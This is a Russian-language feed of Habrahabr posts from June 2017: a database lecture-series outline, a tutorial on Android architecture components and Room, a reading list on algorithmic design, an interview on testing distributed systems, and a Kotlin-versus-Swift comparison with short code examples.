Начало третьей лекции посвящено COLLATION и регистронезависимому поиску. Затем рассказывается о задаче выборки данных (SELECT): формирование подзапросов, оконные функции, UNION, снова поднимается тема JOIN’ов, обсуждаются рекурсивные запросы. И в завершение вы узнаете про операцию VIEW.


Лекция 4. Транзакции. Триггеры и хранимые процедуры





Лекция состоит из четырёх частей. Первая часть посвящена транзакциям: обсуждается задача обеспечения долговечности, формирование журнала транзакций, обеспечение изолированности и атомарности, а также уровни изолированности транзакций. Затем рассказывается о триггерах: как можно их использовать для поддержания целостности и бизнес-логики, каковы их недостатки. Далее обсуждаются хранимые процедуры и функции, а в завершение рассказывается о распределённых транзакциях и персистентных очередях.


Лекция 5. Индексы и производительность





Из пятой лекции вы узнаете, что такое индексы баз данных, как выполняется протоколирование запросов, для чего нужен и как составляется план запросов EXPLAIN. Также рассматриваются варианты соединения таблиц.


Лекция 6. Оптимизация запросов. Оптимизация структуры данных





Эта лекция тоже посвящена проблематике повышения производительности баз данных. Вы узнаете о нормализации и денормализации данных. Познакомитесь с оптимизацией запросов конкретных типов. Далее рассказывается о разнице между актуальными и историческими данными, о секционировании, оптимизации на уровне приложения. В завершение приводятся примеры эффективного массового изменения данных.


Лекция 7. Репликация, полнотекстовый поиск, JSON





Эта лекция состоит из четырёх частей. Первая посвящена репликации: рассказывается о физической, логической, синхронной и асинхронной репликациях, о балансировке и отказоустойчивости, а также о проблемах репликации. Затем обсуждается проблематика полнотекстового поиска. Далее затрагивается вопрос хранения в БД географических данных. И в завершение рассказывается о хранении слабоструктурированных данных (JSON).


Лекция 8. Сохранность данных





Последняя лекция посвящена различным аспектам обеспечения сохранности информации в базах данных. Сначала рассказывается о резервном копировании, о его отличии от репликации, о создании логических и физических резервных копий. Затем вы узнаете о том, как нужно конфигурировать базы данных: каковы общие принципы настройки, как настраивать память и ввод/вывод, что такое табличные пространства, как собирать информацию о текущем состоянии сервера. И завершающая часть лекции посвящена обеспечению безопасности: политикам прав доступа и защите от SQL-инъекций.




Плейлист всех лекций находится по ссылке. Напомним, что актуальные лекции и мастер-классы о программировании от наших IT-специалистов в проектах Технопарк, Техносфера и Технотрек по-прежнему публикуются на канале Технострим.


Другие курсы Технопарка на Хабре:



Информацию обо всех наших образовательных проектах вы можете найти в недавней статье.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/329928/


Метки:  

[Из песочницы] Новая архитектура Android-приложений — пробуем на практике

Четверг, 01 Июня 2017 г. 15:14 + в цитатник

Всем привет. На прошедшем Google I/O нам наконец представили официальное видение компании Google на архитектуру Android-приложений, а также библиотеки для его реализации. Не прошло и десяти лет. Конечно мне сразу захотелось попробовать, что же там предлагается.


Осторожно: библиотеки находятся в альфа-версии, следовательно мы можем ожидать ломающих совместимость изменений.


Lifecycle

Основная идея новой архитектуры — максимальный вынос логики из активити и фрагментов. Компания утверждает, что мы должны считать эти компоненты принадлежащими системе и не относящимися к зоне ответственности разработчика. Идея сама по себе не нова, MVP/MVVP уже активно применяются в настоящее время. Однако взаимоувязка с жизненными циклами компонентов всегда оставалась на совести разработчиков.


Теперь это не так. Нам представлен новый пакет android.arch.lifecycle, в котором находятся классы Lifecycle, LifecycleActivity и LifecycleFragment. В недалеком будущем предполагается, что все компоненты системы, которые живут в некотором жизненном цикле, будут предоставлять Lifecycle через имплементацию интерфейса LifecycleOwner:


public interface LifecycleOwner {
   Lifecycle getLifecycle();
}

Поскольку пакет еще в альфа-версии и его API нельзя смешивать со стабильным, были добавлены классы LifecycleActivity и LifecycleFragment. После перевода пакета в стабильное состояние LifecycleOwner будет реализован в Fragment и AppCompatActivity, а LifecycleActivity и LifecycleFragment будут удалены.


Lifecycle содержит в себе актуальное состояние жизненного цикла компонента и позволяет LifecycleObserver подписываться на события переходов по жизненному циклу. Хороший пример:


class MyLocationListener implements LifecycleObserver {
    private boolean enabled = false;
    private final Lifecycle lifecycle;
    public MyLocationListener(Context context, Lifecycle lifecycle, Callback callback) {
       this.lifecycle = lifecycle;
       this.lifecycle.addObserver(this);
       // Какой-то код
    }

    @OnLifecycleEvent(Lifecycle.Event.ON_START)
    void start() {
        if (enabled) {
           // Подписываемся на изменение местоположения
        }
    }

    public void enable() {
        enabled = true;
        if (lifecycle.getState().isAtLeast(STARTED)) {
            // Подписываемся на изменение местоположения,
            // если еще не подписались
        }
    }

    @OnLifecycleEvent(Lifecycle.Event.ON_STOP)
    void stop() {
        // Отписываемся от изменения местоположения
    }
}

Теперь нам достаточно создать MyLocationListener и забыть о нем:


class MyActivity extends LifecycleActivity {

    private MyLocationListener locationListener;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        locationListener = new MyLocationListener(this, this.getLifecycle(), location -> {
         // Обработка местоположения, например, вывод на экран
        });
        // Что-то выполняющееся долго и асинхронно
        Util.checkUserStatus(result -> {
            if (result) {
                locationListener.enable();
            }
        });
    }
}

LiveData

LiveData — это некий аналог Observable в rxJava, но знающий о существовании Lifecycle. LiveData содержит значение, каждое изменение которого приходит в обзерверы.


Три основных метода LiveData:


setValue() — изменить значение и уведомить об этом обзерверы;
onActive() — появился хотя бы один активный обзервер;
onInactive() — больше нет ни одного активного обзервера.


Следовательно, если у LiveData нет активных обзерверов, обновление данных можно остановить.


Активным обзервером считается тот, чей Lifecycle находится в состоянии STARTED или RESUMED. Если к LiveData присоединяется новый активный обзервер, он сразу получает текущее значение.


Это позволяет хранить экземпляр LiveData в статической переменной и подписываться на него из UI-компонентов:


public class LocationLiveData extends LiveData {
    private LocationManager locationManager;

    private SimpleLocationListener listener = new SimpleLocationListener() {
        @Override
        public void onLocationChanged(Location location) {
            setValue(location);
        }
    };

    public LocationLiveData(Context context) {
        locationManager = (LocationManager) context.getSystemService(
                Context.LOCATION_SERVICE);
    }

    @Override
    protected void onActive() {
        locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, listener);
    }

    @Override
    protected void onInactive() {
        locationManager.removeUpdates(listener);
    }
}

Сделаем обычную статические переменную:


public final class App extends Application {

    private static LiveData locationLiveData = new LocationLiveData();

    public static LiveData getLocationLiveData() {
        return locationLiveData;
    }
}

И подпишемся на изменение местоположения, например, в двух активити:


public class Activity1 extends LifecycleActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity1);

        getApplication().getLocationLiveData().observe(this, (location) -> {
          // do something
        })
    }
}

public class Activity2 extends LifecycleActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity2);

        getApplication().getLocationLiveData().observe(this, (location) -> {
          // do something
        })
    }
}

Обратите внимание, что метод observe принимает первым параметром LifecycleOwner, тем самым привязывая каждую подписку к жизненному циклу конкретной активити.


Как только жизненный цикл активити переходит в DESTROYED подписка уничтожается.


Плюсы данного подхода: нет спагетти из кода, нет утечек памяти и обработчик не вызовется на убитой активити.


ViewModel

ViewModel — хранилище данных для UI, способное пережить уничтожение компонента UI, например, смену конфигурации (да, MVVM теперь официально рекомендуемая парадигма). Свежесозданная активити переподключается к ранее созданной модели:


public class MyActivityViewModel extends ViewModel {

    private final MutableLiveData valueLiveData = new MutableLiveData<>();

    public LiveData getValueLiveData() {
        return valueLiveData;
    }
}

public class MyActivity extends LifecycleActivity {

    MyActivityViewModel viewModel;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity);

        viewModel = ViewModelProviders.of(this).get(MyActivityViewModel.class);
        viewModel.getValueLiveData().observe(this, (value) -> {
            // Вывод значения на экран
        });
    }
}

Параметр метода of определяет область применимости (scope) экземпляра модели. То есть если в of передано одинаковое значение, то вернется один и тот же экземпляр класса. Если экземпляра еще нет, он создастся.


В качестве scope можно передать не просто ссылку на себя, а что-нибудь похитрее. В настоящее время рекомендуется три подхода:


  1. активити передает себя;
  2. фрагмент передает себя;
  3. фрагмент передает свою активити.

Третий способ позволяет организовать передачу данных между фрагментами и их активити через общую ViewModel. То есть больше не надо делать никаких аргументов у фрагментов и специнтерфейсов у активити. Никто ничего друг о друге не знает.


После уничтожения всех компонентов, к которым привязан экземпляр модели, у нее вызывается событие onCleared и модель уничтожается.


Важный момент: поскольку ViewModel в общем случае не знает, какое количество компонентов использует один и тот же экземпляр модели, мы не в коем случае не должны хранить ссылку на компонент внутри модели.


Room Persistence Library

Наше счастье было бы неполным без возможности сохранить данные локально после безвременной кончины приложения. И тут на помощь спешит доступный «из коробки» SQLite. Однако API работы с базами данных довольно неудобное, главным образом тем, что не предоставляет способов проверки кода при компиляции. Про опечатки в SQL-выражениях мы узнаем уже при исполнении приложения и хорошо, если не у клиента.


Но это осталось в прошлом — Google представила нам ORM-библиотеку со статическим анализом SQL-выражений при компиляции.


Нам нужно реализовать минимум три компонента: Entity, DAO и Database.


Entity — это одна запись в таблице:


@Entity(tableName = «users»)
public class User() {

    @PrimaryKey
    public int userId;

    public String userName;
}

DAO (Data Access Object) — класс, инкапсулирующий работу с записями конкретного типа:


@Dao
public interface UserDAO {

    @Insert(onConflict = REPLACE)
    public void insertUser(User user);

    @Insert(onConflict = REPLACE)
    public void insertUsers(User… users);

    @Delete
    public void deleteUsers(User… users);

    @Query(«SELECT * FROM users»)
    public LiveData> getAllUsers();

    @Query(«SELECT * FROM users WHERE userId = :userId LIMIT 1»)
    LiveData load(int userId);

    @Query(«SELECT userName FROM users WHERE userId = :userId LIMIT 1»)
    LiveData loadUserName(int userId);
}

Обратите внимание, DAO — интерфейс, а не класс. Его имплементация генерируется при компиляции.


Самое потрясающее, на мой взгляд, что компиляция падает, если в Query передали выражение, обращающееся к несуществующим таблицам и полям.


В качестве выражения в Query можно передавать, в том числе, объединения таблиц. Однако, сами Entity не могут содержать поля-ссылки на другие таблицы, это связано с тем, что ленивая (lazy) подгрузка данных при обращении к ним начнется в том же потоке и наверняка это окажется UI-поток. Поэтому Google приняла решение запретить полностью такую практику.


Также важно, что как только любой код изменяет запись в таблице, все LiveData, включающие эту таблицу, передают обновленные данные своим обзерверам. То есть база данных у нас в приложении теперь «истина в последней инстанции». Такой подход позволяет окончательно избавится от несогласованности данных в разных частях приложения.


Мало того, Google обещает нам, что в будущем отслеживание изменений будет выполнятся построчно, а не потаблично как сейчас.


Наконец, нам надо задать саму базу данных:


@Database(entities = {User.class}, version = 1)
public abstract class AppDatabase extends RoomDatabase {
    public abstract UserDAO userDao();
}

Здесь также применяется кодогенерация, поэтому пишем интерфейс, а не класс.


Создаем в Application-классе или в Dagger-модуле синглтон базы:


AppDatabase database = Room.databaseBuilder(context, AppDatabase.class, "data").build();

Получаем из него DAO и можно работать:


database.userDao().insertUser(new User(…));

При первом обращении к методам DAO выполняется автоматическое создание/пересоздание таблиц или исполняются SQL-скрипты обновления схемы, если заданы. Скрипты обновления схемы задаются посредством объектов Migration:


AppDatabase database = Room.databaseBuilder(context, AppDatabase.class, "data")
     .addMigration(MIGRATION_1_2)
     .addMigration(MIGRATION_2_3)
     .build();

static Migration MIGRATION_1_2 = new Migration(1, 2) {
    @Override
    public void migrate(SupportSQLDatabase database) {
        database.execSQL(…);
    }
}

static Migration MIGRATION_2_3 = new Migration(2, 3) {
   …
}

Плюс не забудьте у AppDatabase указать актуальную версию схемы в аннотации.


Разумеется, SQL-скрипты обновления схемы должны быть просто строками и не должны полагаться на внешние константы, поскольку через некоторые время классы таблиц существенно изменятся, а обновление БД старых версий должно по-прежнему выполняться без ошибок.


По окончанию исполнения всех скриптов, выполняется автоматическая проверка соответствия базы и классов Entity, и вылетает Exception при несовпадении.


Осторожно: Если не удалось составить цепочку переходов с фактической версии на последнюю, база удаляется и создается заново.


На мой взгляд алгоритм обновления схемы обладает недостатками. Если у вас на устройстве есть устаревшая база, она обновится, все хорошо. Но если базы нет, а требуемая версия > 1 и задан некоторый набор Migration, база создастся на основе Entity и Migration выполнены не будут.
Нам как бы намекают, что в Migration могут быть только изменения структуры таблиц, но не заполнение их данными. Это прискорбно. Полагаю, мы можем ожидать доработок этого алгоритма.


Чистая архитектура

Все вышеперечисленные сущности являются кирпичиками предлагаемой новой архитектуры приложений. Надо отметить, Google нигде не пишет clean architecture, это некоторая вольность с моей стороны, однако идея схожа.
image
Ни одна сущность не знает ничего о сущностях, лежащих выше нее.


Model и Remote Data Source отвечают за хранение данных локально и запрос их по сети соответственно. Repository управляет кешированием и объединяет отдельные сущности в соответствие с бизнес задачами. Классы Repository — просто некая абстракция для разработчиков, никакого специального базового класса Repository не существует. Наконец, ViewModel объединяет разные Repository в виде, пригодном для конкретного UI.


Данные между слоями передаются через подписки на LiveData.


Пример

Я написал небольшое демонстрационное приложение. Оно показывает текущую погоду в ряде городов. Для простоты список городов задан заранее. В качестве поставщика данных используется сервис OpenWeatherMap.


У нас два фрагмента: со списком городов (CityListFragment) и с погодой в выбранном городе (CityFragment). Оба фрагмента находятся в MainActivity.


Активити и фрагменты пользуются одной и той же MainActivityViewModel.


MainActivityViewModel запрашивает данные у WeatherRepository.


WeatherRepository возвращает старые данные из базы данных и сразу инициирует запрос обновленных данных по сети. Если обновленные данные успешно пришли, они сохраняются в базу и обновляются у пользователя на экране.


Для корректной работы необходимо прописать API key в WeatherRepository. Ключ можно бесплатно взять после регистрации на OpenWeatherMap.


Репозиторий на GitHub.


Нововведения выглядит очень интересно, однако порыв все переделать пока стоит по-придержать. Не забываем, что это только альфа.


Замечания и предложения приветствуются. Ура!

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/329990/


Метки:  

5 источников об алгоритмическим дизайне, если вы только начали им интересоваться

Четверг, 01 Июня 2017 г. 15:00 + в цитатник
Разбираемся, где доступно почитать и пощупать, что машины могут в дизайне (и что читать до этого).

image

Мечтают ли роботы об электроовцах «Заменят ли роботы веб-дизайнеров?» — таким вопросом я на секунду задался, узнав, что мы учимся делать новые сайты из старых — с нейросетями и такой-то матерью. Понимание «Конечно, нет» пришло довольно быстро — почему, мы говорили в прошлой статье с Джоном Голдом.

Сам ответ пришел в рабочем чате: коллеги по uKit AI пожалели сочувствующего гуманитария и стали кидать ссылки — что нейросети уже могут в вебе, почему это не сон и как это работает. В итоге собралась настольная библиотечка с доступными теоретическими и практическими материалами.

Предыстория гуманитария


Сам список


Интерес к теме «машина, сделай за меня» прорезался в начале 2000-х. Старший брат Voldar притащил откуда-то диск, сказал «Ща все будет» — и весь вечер возился с настройками микрофона. Короче, запустить систему распознавания речи в текст у нас тогда так и не получилось.

Зато сегодня по работе я использую на ноутбуке расширения вроде Speechpad, чтобы надиктовать «скелет» текста — в том числе этого. Правда, надо искусственно замедлять себя и вообще стараться говорить так, будто ты Левитан.

Поэтому скепсис к теме был.

Предыстория. «Что значит быть летучей мышью?» — Томас Нагель, 1974


А зародился этот скепсис в 2009-м. И дело в этой маленькой брошюрке, которую нам дали на курсе философии. Если кратко, то это статья о том, что «чужая душа — потемки». Нагель очень здорово объясняет, почему люди не понимают друг друга: так что если сталкиваетесь по работе или в жизни, почитайте, — поможет впадать в дзен в такие моменты.

Картинка с мышью для привлечения внимания
Найти перевод статьи легко можно в открытых источниках.

Все объяснение строится на попытке человека понять, как устроено сознание летучей мыши: да, можно висеть головой вниз, зажмуриваться и бегать по офису, махая руками… Можно даже дождаться момента, когда британские ученые смогут сделать из вас оборотня. Но! В голове мыши по-прежнему есть «черный ящик» — и сможем ли мы докопаться до его сути, большой вопрос. Вот к такому выводу приходит автор.

Эти несколько страниц размышлений о том, можем ли мы понять свое или чужое сознание, можно назвать и «одой против ИИ». Во-первых, мысль «если мы не можем понять маленькую тварь, которая полдня висит вниз головой, то куда уж до чего-то большего» прослеживается довольно четко. А во-вторых, статья появилась накануне «AI winter» — периода в середине 1970-х, когда расходы на разработки в этой сфере резко сокращали.

С такими сомнениями я и пошел в чат. И вот что получилось.
Для информации, которую можно взять в одном месте совершенно открыто и легально, даны прямые ссылки на нужные ресурсы. В остальных случаях вы сами вольны выбирать ресурс, с которого можно купить, скачать или начать изучать источник.

1. «Об интеллекте» — Джефф Хокинс, Сандра Блейксли, 2004

(рекомендует pavel_kudinov)

Если трактат о летучей мыши ввел вас в уныние, то основатель Palm Computing объясняет, почему все не так плохо. Джеф Хокинс представляет свою теорию иерархической временной памяти и пытается понять, что из человеческого опыта можно, а что не стоит ретранслировать на машину.

Об интеллекте_2004

С 2007-го доступен перевод книги на русский, он выдержал уже несколько изданий. Заказать можно практически в любом онлайн-книжном.

Темой ИИ Хокинс увлекался с юности и всю жизнь собирал исследования из разных областей науки — так и дособирал до единой концепции, положенной в основу его труда.

Помимо отсылок к научным работам и источникам для дальнейшего изучения, каждая глава книги содержит доступный пример-иллюстрацию: «китайская комната» (выучите ли вы китайский, если будете автоматом переводить по инструкции), эксперимент с дверью (почему человек не зависнет, если поменять ручку на входной двери, а машина — может) и так далее.

Книжку критикуют за излишнюю популярность и минимальное представление мнений оппонентов. Но для гуманитария самое то. Поэтому Павел, CTO нашего проекта, кидается ей во всех.

2. «Машинное обучение для дизайнеров» — Патрик Хеврон, 2016


(рекомендует lyubim)

Если выше мы говорили о понятии сознания и интеллекта в целом (в любом, естественном и искусственном представлении), то все отсылки ниже будут уже по теме генеративного дизайна.

Издательство O’Reilly вовремя заметило появление новых AI/ML-инструментов для дизайнеров, нашло эксперта и практика (Хеврон занят созданием дизайн-инструмента Foil, использующего машинное обучение) — и выпустило с ним бесплатную книжку.

image
Pdf-версия обменивается на ваш email на сайте издательства. После подписки они особо не спамят. Перевода книги на русский пока нет.

Книжку можно рассматривать как настольную — есть вводная теория, есть обзор платформ и инструкция, что с ними делать. Опять же, стоит отметить хорошую работу с примерами: Хеврон отлично иллюстрирует, зачем и как внедрять машинное обучение в работу над интерфейсами, а также как новые технологии расширят возможности ваших пользователей.

Если зайдет, у автора есть личный сайт, на котором можно найти дополнительную информацию по теме.

3. uKit.ai – блог нашей команды о генеративном дизайне


(рекомендует Kurt)

Здесь выходят переводы интересных зарубежных статей на тему применения нейросетей в веб-дизайне и смежные темы.

image
Недавно копилка пополнилась историей, как научить машину «играться со шрифтами».

В среднем, мы публикуем две большие статьи в месяц. Вот как это происходит: есть все тот же общий чатик, куда летят интересные ссылки. Если материал признается интересным большинством участников, то наша прекрасная Таня в перерывах между основной работой — локализацией uKit — делает отличные переводы. Например, сейчас она переводит историю о том, как скрепка Microsoft повлияла на «предсказательность» дизайна в десятках современных сервисов, сайтов и приложений.

4. Algorithms.design — Юрий Ветров


(рекомендует alexahdp)

Юрий — «руководитель дизайн-команды портальных сервисов Mail.ru”, а также евангелист всего, что связано с дизайном при участии машин, ведет свою англоязычную подборку ссылок на интересные инструменты и полезные статьи по теме.

image
Сейчас на сайте 5 категорий: “Создание интерфейса”, “Подготовка контента”, “Персонализация пользовательского опыта”, “Графический дизайн”, “Другое”.

Удобно — все разложено по полочкам. Посетители могут дополнять подборки, присылая Ветрову ссылки на свои или понравившиеся проекты. Краудсорсинг в действии!

5. Deephunt.in – Авинаш Гиндупур


(рекомендует RomanSt )

Еще один евангелист ИИ, но в более широком плане, Гиндупур выпускает на своем сайте регулярные дайджесты «что случилось в мире AI”. А с недавнего времени стал делать и подборки. Подборки (точнее, подборка, но мы надеемся на появление новых) хороши особенно.

image
Почти год автор выдерживает заданный недельный темп и с сентября по май выпустил на сайте 40 материалов.

Очень часто любые «списки ста полезных инструментов» быстро оказываются неактуальны — выпустив раз, их не проверяют на предмет соответствия дню сегодняшнему: то условия использования проекта поменяются, то описание устарело, а то и вовсе проект умер.

Этот автор регулярно проходится по своим источникам и обновляет список генеративных состязательных сетей (та самая подборка посвящена GAN), которые можно использовать в распознавании и оценке графики.

Следить за выходом новых дайджестов и подборок можно также в твиттере проекта.

***

P.S. Спасибо, если вам было полезно. Отдельное спасибо, если вы поделитесь своими источниками информации об алгоритмическом (генеративном) дизайне для сочувствующих — мы включим их в подборку с указанием автора, рекомендовавшего ресурс или книгу.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/329916/


Метки:  

Андрей Сатарин, Яндекс: «Самая главная ошибка — непонимание системы»

Четверг, 01 Июня 2017 г. 14:11 + в цитатник
При тестировании распределенных систем нефункциональные требования выходят на первое место, а для обнаружения сложных дефектов приходится применять специальные методы. Мы уже говорили о них с Андреем Сатариным в предыдущем интервью и сегодня попытаемся развить эту тему.





Андрей Сатарин занимается тестированием распределенных систем в Яндексе. Принимал участие в совершенно разных проектах: тестировал игру в Mail.ru, систему облачного детектирования в Лаборатории Касперского, а также систему расчета валютных цен в Deutsche Bank.

— Отказоустойчивость — одно из важнейших нефункциональных требований к распределенным системам. Как проводится тестирование отказоустойчивости?

Андрей Сатарин:
Сбои можно эмулировать в тестовой среде, так работает известный инструмент Jepsen, созданный Кайлом Кингсбери (Kyle Kingsbury). Второй подход предполагает внедрение сбоев в продуктивном окружении и обычно ассоциируется с Chaos Monkey компании Netflix, из которого выросло целое движение — хаос-инжиниринг. Он избавляет нас от проблем с повторением продуктовой среды и дает высокую уверенность в работоспособности системы, но более опасен и требует определенной зрелости продукта.

Есть и третий подход, позволяющий проверить работоспособность алгоритмов еще до написания кода с помощью специальных инструментов, таких, например, как TLA+. Два наиболее известных примера его использования: разработка Amazon Web Services и Azure Cosmos DB.

— Как вам кажется, лучше использовать тестовый кластер или рабочую систему? В чем заключаются преимущества и недостатки каждого подхода?

Андрей Сатарин:
Все подходы допустимы, но в тестовом кластере мы можем творить что угодно и создавать более опасные для системы ситуации, а в рабочее окружение вносить много сбоев не стоит, потому что велик риск серьезных последствий и есть достаточно жесткие SLA, которые крайне нежелательно нарушать. Здесь нам нужно перезакладываться, например, по железу, либо по другим ресурсам кластера.  С другой стороны, тестирование в продакшене добавляет уверенности в работоспособности именно использующейся у нас конфигурации: во многих случаях рабочее окружение чрезвычайно сложно эмулировать не только по железу, добиться аналогичного поведения вашей системы в тестовом кластере получается не всегда.

В тестах обычно используются синтетические нагрузки, но ваша система может работать с другими, имеющими достаточно сложное поведение. Эмулировать это взаимодействие трудно, а в продакшене можно достичь большего покрытия в плане ширины использования функциональности. Но, повторюсь, такой подход более рискован и, чтобы им воспользоваться, нужен зрелый продукт. Необходимы развитые системы реагирования, т. е. нельзя внедрять сбои в продакшене, например, в 3 часа ночи — это достаточно тяжело для людей. Обычно это делается в рабочее время, когда доступна вся команда и даже сложные проблемы можно относительно быстро разрешить.

— Каковы наиболее распространенные ошибки при тестировании отказоустойчивости распределенных систем?

Андрей Сатарин:
На мой взгляд, самая главная ошибка — непонимание системы. Нужно четко себе представлять, что система делает, какие в ней есть ограничения и как мы их тестируем. Если у нас, например, есть требования по аптайму, то как их проверять в случае сбоев?

Даже не приводящая к потере данных мелкая проблема может нарушить нам SLA. Нужно понимать, какие сбои будут происходить в реальности, потому что потенциально их можно внедрить огромное множество, но к определенным классам сбоев ваша система может быть не готова by design — следует отделять одно от другого и не пытаться тестировать систему в ситуациях, в которых она в принципе не должна работать.

— Какие есть основные методики проверки производительности распределенной системы? Какие здесь есть тонкости, подводные камни, какие ошибки допускают при тестировании?

Андрей Сатарин:
Подходы здесь примерно те же, что и при тестировании состоящих из одного узла систем, только поведение чуть более сложное. Чтобы анализировать результаты тестирования производительности, нужно хорошо понимать поведение системы и в голове одного человека это уложиться не может.

Очень важный момент — сообщать коллегам результаты проведенных экспериментов. В нашей практике часто бывает, когда кто-то исследует производительность одной части системы, а потом присылает на общую рассылку свои данные и выводы — другие члены команды анализируют проведенный эксперимент со своей стороны и добавляют какие-то аспекты. Здесь важно работать в связке с коллегами, которые лучше знают другие части системы, и смотреть на нее под разными углами.

Еще один важный момент при тестировании производительности распределённых систем — показатель масштабируемости. Часто наблюдается ситуация, когда система прекрасно работает, скажем, на десяти нодах в тестовом кластере, но когда вы пытаетесь запустить её в продакшене на ста нодах, выясняется наличие узкого места и производительность рабочего кластера оказывается, допустим, всего в два раза выше. Оценить эту проблему априори на небольших масштабах очень сложно, обычно продуктовое окружение имеет на порядок больший размер чем тестовое. Сделать тестовый кластер тех же масштабов чаще всего невозможно из-за высоких расходов и для проверки масштабируемости системы приходится придумывать специальные подходы.

— Какие еще есть нюансы при тестировании выполнения нефункциональных требований?

Андрей Сатарин:
Некоторые узлы системы могут работать медленно из-за аппаратных проблем или, например, из-за слишком большого потребления ресурсов другими сервисами. Часто такие машины существенно тормозят всю систему — простое выключение проблемных узлов приводит к восстановлению производительности, но в продуктовом окружении их бывает сложно автоматически детектировать.

Еще один важный момент — тестирование конфигурации системы. Ваш код может работать прекрасно, но в сложной распределенной системе много конфигурационных параметров и неправильная их настройка может привести к падению производительности, например, или даже к потере данных. Хороший пример такой ситуации рассмотрен в статье Paxos Made Live — An Engineering Perspective. Речь в ней идет о ситуации с Google Chubby, когда сконфигурированный для работы на пяти узлах кластер работал на четырех. Благодаря изначально заложенной в систему отказоустойчивости сервис функционировал, но уже не мог выдержать потерю двух узлов.

— Насколько важна производительность самих тестов и как её можно повысить?

Андрей Сатарин:
Если говорить о классических тестах (модульных, системных, интеграционных), то они должны быть достаточно быстрыми. Более высокоуровневые тесты в распределенных системах идут гораздо дольше. Если это случайные внедрения сбоев, например, вам нужно долго искать перебором по пространству возможных сбоев и фундаментальных способов сокращения времени здесь нет — обычно это часы или даже дни.

Нельзя эмулировать кучу разных комбинаций сбоев за короткое время, особенно если вы это делаете на реальном железе. Но чем больше нагрузки вы даете на систему, тем выше вероятность нахождения дефектов. Генерирующая нагрузку часть должна работать быстро — это действительно важно. Здесь можно посоветовать только параллельно запускать тесты или придумывать какие-нибудь хитрости, чтобы они интенсивно нагружали систему.

— Есть какие-то инструменты для автоматизации тестирования нефункциональных параметров распределенных систем?

Андрей Сатарин:
Есть известный инструмент Jepsen, который применяется для достаточно широкого класса различных систем: Apache Cassandra, MongoDB и т. д. К сожалению, его нельзя просто запустить из коробки — придется программировать. Имеющиеся инструменты нужно затачивать под тестируемую систему и порог входа у них достаточно высокий. Если говорить о производительности, существуют разнообразные бенчмарки, такие, например, как Yahoo Cloud Server Benchmark, который проверяет различные хранилища, вроде уже упомянутых Cassandra и MongoDB.

— Какие проблемы в сфере тестирования распределенных систем пока остаются нерешенными? Расскажите об основных тенденциях развития этого направления.

Андрей Сатарин:
Эта область становится более зрелой, многие компании начинают использовать сложные тесты типа Jepsen  для внедрения сбоев с проверкой уровня консистентности своих систем. В последнее время активно применяются формальные методы, о которых я уже говорил — TLA+ и формальная верификация заложенных в распределенную систему алгоритмов.

Конечно, здесь есть подводные камни: даже в полностью верифицированной распределенной системе, код которой был сгенерирован из формальной спецификации (такие разработки есть у Microsoft Research, например) остаются дефекты, которые влияют в т. ч. на отказоустойчивость и безопасность системы.




На Гейзенбаг 2017 Андрей Сатарин расскажет об использовании санитайзеров — замечательных инструментов, позволяющих находить сложные дефекты в программах на C++. В Яндексе их активно применяют для тестирования распределнных систем.

Мойте руки перед едой, или санитайзеры в тестировании

Полная программа конференции доступна на сайте.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/329974/


Метки:  

Kotlin и Swift. Новая эпоха в мобильной разработке?

Четверг, 01 Июня 2017 г. 13:57 + в цитатник

Этот пост является вольным переводом статьи Kotlin and Swift. Is it a whole new era in Mobile Development? by Andrew Cherkashyn


Когда в Google объявили о том, что они теперь официально будут использовать Kotlin для разработки под Android, я, как и многие другие Android-разработчики, вздохнул с облегчением. Я еще раз зашел на официальный сайт Kotlin, чтобы перепроверить функционал/синтаксис и сравнить его с последней версией Swift, на котором сейчас пишу, и вдруг ощутил это: проходит одна эпоха и начинается новая, по крайней мере в мобильной разработке...


В Kotlin, как и в Swift довольно много синтаксического сахара, который снижает объемы обычной рутины (сравнение синтаксиса тут: http://nilhcem.com/swift-is-like-kotlin/). Но что меня особенно радует — они оба, прям "из коробки", поддерживают новые парадигмы программирования. Особенно функциональное программирование.


Принципы функционального программирования, конечно, не являются чем-то новым в разработке, даже наоборот. Но теперь, когда есть официальная поддержка "из коробки" в разработке под iOS и Android — стоит пользоваться именно ими.


Когда я только начинал свою карьеру в мобильной разработке, все писали циклы как-то так:


Java:


String[] mixedArray = new String[] { "4", "5", "a", "-2", "Str" };
int results = 0;
for (String element : mixedArray) {
    results += Integer.parseInt(element);
}

Теперь же все используют функциональный подход, чтобы сделать все то же самое за один вызов, и этот подход намного лучше:


Kotlin:


val mixedArray = arrayOf("4", "5", "a", "-2", "Str")
val results = mixedArray
    .filter { obj -> obj.toIntOrNull() != null }
    .map { x -> x.toInt() }
    .reduce { acc, x -> acc + x }

Swift:


let mixedArray = ["4", "5", "a", "-2", "Str"]
let results = mixedArray
    .filter({ (obj) -> Bool in return Int(obj) != nil })
    .map { (obj) -> Int in return Int(obj)! }
    .reduce(0, +)

Блоки были представлены Apple для Objective-C в 2010 году (iOS SDK 4.0), чтобы улучшить жизнь разработчиков и соответствовать анонимным классам в Java, которые могут быть использованы как коллбэки:


Пример блока в Objective-C:


void (^newBlock)(void) = ^{
    NSLog(@"New block is called");
};

Пример анонимного класса в Java:


(new CallbackClass() {
    @Override public void call() {
        Log.i(StaticTag, "Callback is called");
    }
});

Лямбда-выражения в Java были представлены в 2014, как часть JDK 8, но к сожалению они не были доступны Android-разработчикам, потому что Android SDK поддерживает только JDK версии 7 (поэтому и есть такие библиотеки, как retrolambda: https://github.com/evant/gradle-retrolambda).


Теперь же оба языка полностью поддерживают такой подход: в Swift — "замыкания" (то же самое, что блоки в Objective-C), а у Kotlin есть поддержка "лямбд", которая работает в Android SDK:


Пример замыкания в Swift:


{ _ in
    print("Closure is called!")
}

Пример лямбды в Kotlin:


{
    println("lambda is called!")
}

